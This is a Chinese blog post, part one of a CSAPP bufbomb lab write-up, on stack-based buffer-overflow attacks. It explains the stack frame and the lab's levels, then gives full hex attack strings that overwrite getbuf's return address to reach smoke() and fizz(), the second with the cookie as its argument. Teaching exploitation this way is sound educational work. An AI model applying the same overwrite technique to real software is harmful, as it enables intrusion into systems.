前言
完成這個實驗大概花費一天半的時間,看了很多大佬的部落格,也踩了很多的坑,于是打算寫一篇部落格重新梳理一下思路和過程,大概會有兩篇部落格吧。
CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(上)smoke fizz
CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(下)bang boom kaboom
lab3要我們做這樣一件事情,修改一個正在運作程式的stack以達到預期的目的。具體的修改方式是這樣的:程式定義了一個局部C風格字元串變量,注意局部變量是放在stack上面的,是以當初始化這個字元串為使用者輸入,而又沒有邊界檢查的話,就會緩沖區溢出,那麼就會破壞這個函數棧。
就像下面這個函數會破壞自己的函數棧:
#define NORMAL_BUFF_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFF_SIZE];
Gets(buf);
return 1;
}

會破壞到什麼程度呢?如果使用者輸入太大,那麼就把
saved ebp
給覆寫掉了;再大一點,就把
return address
覆寫掉了…沒錯,這個lab的精髓就是要讓我們的輸入來覆寫
return address
達到return到代碼的其它地方執行!!!
ESP(Extended Stack Pointer)為擴充棧指針寄存器,是指針寄存器的一種,用于存放函數棧頂指針。與之對應的是EBP(Extended Base Pointer),擴充基址指針寄存器,也被稱為幀指針寄存器,用于存放函數棧底指針。
ESP為棧指針,用于指向棧的棧頂(下一個壓入棧的活動記錄的頂部),而EBP為幀指針,指向目前活動記錄的底部
實驗目的:
通過緩沖區溢出攻擊,使學生進一步了解IA-32函數調用規則和棧幀結構。
實驗技能:
需要使用objdump來反彙編目标程式,使用gdb單步跟蹤調試機器代碼,檢視相關記憶體及寄存器内容,也需要學生掌握簡單的IA32彙程式設計式編寫方法。
實驗要求:
5個難度等級(0-4逐級遞增)
級别0、Smoke(candle):構造攻擊字元串作為目标程式輸入,造成緩沖區溢出,使目标程式能夠執行smoke函數。
級别1、Fizz(sparkler):構造攻擊字元串作為目标程式輸入,造成緩沖區溢出,使目标程式能夠執行fizz函數;fizz函數含有一個參數(cookie值),構造的攻擊字元串應能給定fizz函數正确的參數,使其判斷成功。
級别2、Bang(firecracker):構造攻擊字元串作為目标程式輸入,造成緩沖區溢出,使目标程式能夠執行bang函數;并且要篡改全局變量global_value為cookie值,使其判斷成功。是以,需要在緩沖區中注入惡意代碼篡改全局變量。
級别3、Boom(dynamite):前面的攻擊都是使目标程式跳轉到特定函數,進而利用exit函數結束目标程式運作。Boom要求攻擊程式能夠傳回到原調用函數test繼續執行,即要求攻擊之後,還原對棧幀結構的破壞。
級别4、kaboom(Nitro):本攻擊需要對目标程式連續攻擊n=5次,但每次攻擊,被攻擊函數的棧幀記憶體位址都不同,也就是函數的棧幀位置每次運作時都不一樣。是以,要想辦法保證每次都能夠正确複原原棧幀被破壞的狀态,使程式每次都能夠正确傳回。
從這個等級的命名我們也能窺探到一些端倪,candle 蠟燭,sparkler 煙火,firecracker 爆竹,dynamite 火藥,Nitro 硝化甘油這一套命名規則顯然讓我們想起來lab2的拆彈實驗,可見級别越高威力必然也就越大。而另外一套命名規則顯然是從效果來看的,Smoke 冒煙,Fizz 劈啪作響,Bang 怦然巨響,Boom 隆隆作響,kaboom 大炸裂,果然有點意思。
檔案夾内容
本實驗的資料包含于一個檔案夾buflab-handout.tar中。下載下傳該檔案到本地目錄中,然後利用“tar –xvf buflab-handout.tar”指令将其解壓。
bufbomb:實驗需要攻擊的目标程式bufbomb。
bufbomb.c:目标程式bufbomb的主源程式。本校的實驗中沒有給出,但老師給的ppt上有。
makecookie:該程式基于你的學号産生一個唯一的由8個16進制數字組成的4位元組序列(例如0x5f405c9a),稱為“cookie”。
hex2raw:建構的攻擊字元串中可能包含不可列印字元,很難通過鍵盤輸入,送出結果時,一般将結果放置在一個答案txt檔案中(攻擊字元串以可顯示的16進制形式存儲),在輸入給bufbomb之前,需要使用hex2raw将其轉換成原始的(raw)資料。
其中結果送出和驗證時,均需要使用到bufbomb,其使用方法(-h檢視幫助):
h:檢視幫助;
u:學生辨別;-u要求我們輸入一個唯一的userid,根據不同的userid生成不同的cookie值,這裡我使用的userid是stu
n:對于級别4(nitro/kaboom),需要加此參數,被坑了很久,一定要加上此參數!!
s:驗證正确性的同時,将結果送出到伺服器(如果驗證正确);
實驗步驟及操作說明
準備工作
使用objdump -d指令将其反彙編到bufbomb.asm。
objdump -d bufbomb > bufbomb.asm
使用makecookie,生成使用者的Cookie,後面解題都要用到這個Cookie:
0~3關:
攻擊test()下getbuf()
第4關(Nitro/kaboom):
循環調用5次,
攻擊testn() 下getbufn()
第0關:smoke
構造攻擊字元串作為目标程式輸入,造成緩沖區溢出,使目标程式能夠執行smoke函數。
源碼:
#define NORMAL_BUFFER_SIZE 32
void test()
{
int val;
/* Put canary on stack to detect possiblecorruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corruption stack */
if (local != uniqueval())
{
printf("Sabotaged!: the stack has beencorrupted\n");
}
else if (val == cookie)
{
printf("Boom!: getbuf returned0x%x\n", val);
validate(3);
}
else
{
printf("Dud: getbuf returned0x%x\n", val);
}
}
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
//Smoke源碼:
void smoke()
{
puts("Smoke!: You calledsmoke()");
validate(0);
exit(0);
}
我們的目标是調用上面的
getbuf()
以後,不正常傳回,而是跳掉smoke這個函數的地方執行。
先看一下smoke的反彙編代碼:
smoke函數的位址:0x8048c28
getbuf函數對應的棧還是上面那個棧的圖:
buf隻有0x28位元組長度。
接下來,隻要構造0x28(buf)+4(ebp)+4(return address)=48位元組長度的位元組碼就可以将傳回位址覆寫,最後四個位元組的内容放smoke函數的位址保證傳回位址是被smoke函數的位址覆寫,因為是小端存儲(是指資料的高位元組儲存在記憶體的高位址中,而資料的低位元組儲存在記憶體的低位址中),也就是:28 8c 04 08,前面44個位元組任意這裡我放一些00。
也就是:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
28 8c 04 08
将其儲存到一個txt檔案中,用管道輸入,通過hex2raw之後輸入bufbomb程式。
完成!
第1關:fizz
構造攻擊字元串作為目标程式輸入,造成緩沖區溢出,使目标程式能夠執行fizz函數;fizz函數含有一個參數(cookie值),構造的攻擊字元串應能給定fizz函數正确的參數,使其判斷成功。
還是上面的test函數和getbuf函數,這裡就給出fizz源碼:
void fizz(int val)
{
if (val == cookie)
{
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
}
else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
這一關和第0關類似,最大的差別是這次要跳到
fizz
這個函數有個參數,我們在輸入裡需要僞造出函數的參數。
先看一下fizz的反彙編代碼:
fizz函數的位址:0x08048c52 即( 52 8c 04 08)
在fizz函數代碼裡有這樣兩句:
mov 0x8(%ebp),%eax
cmp 0x804d108,%eax
其中0x8(%ebp)就是函數的第一個參數,而0x804d108這個記憶體位址儲存着cookie的值,然後這兩個值期望是一樣的,這個位置就是我們要放cookie的位置。也就是說參數是放到了傳回位址的上面,并且和傳回位址相鄰。同第0關一樣,先用fizz函數位址覆寫掉getbuf傳回位址,可以執行fizz函數,并且要将fizz函數的傳回位址覆寫掉,并用cookie覆寫掉上面的參數。這樣就可以跳轉到fizz函數,并且在跳轉後自己取到cookie作為參數,fizz函數的傳回位址可以用任意四個位元組的數覆寫,這裡00 00 00 00覆寫掉,其作用隻是用來占位。
也就是:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
52 8c 04 08 /*fizz 函數位址*/
00 00 00 00/*fizz return address */
94 25 80 4f /*Cookie: 0x4f802594*/
作者:王陸
出處:https://www.cnblogs.com/wkfvawl/
-------------------------------------------
個性簽名:罔談彼短,靡持己長。做一個謙遜愛學的人!
本站使用「署名 4.0 國際」創作共享協定,轉載請在文章明顯位置注明作者及出處。鑒于部落客處于考研複習期間,有什麼問題請在評論區中提出,部落客盡可能當天回複,加微信好友請注明原因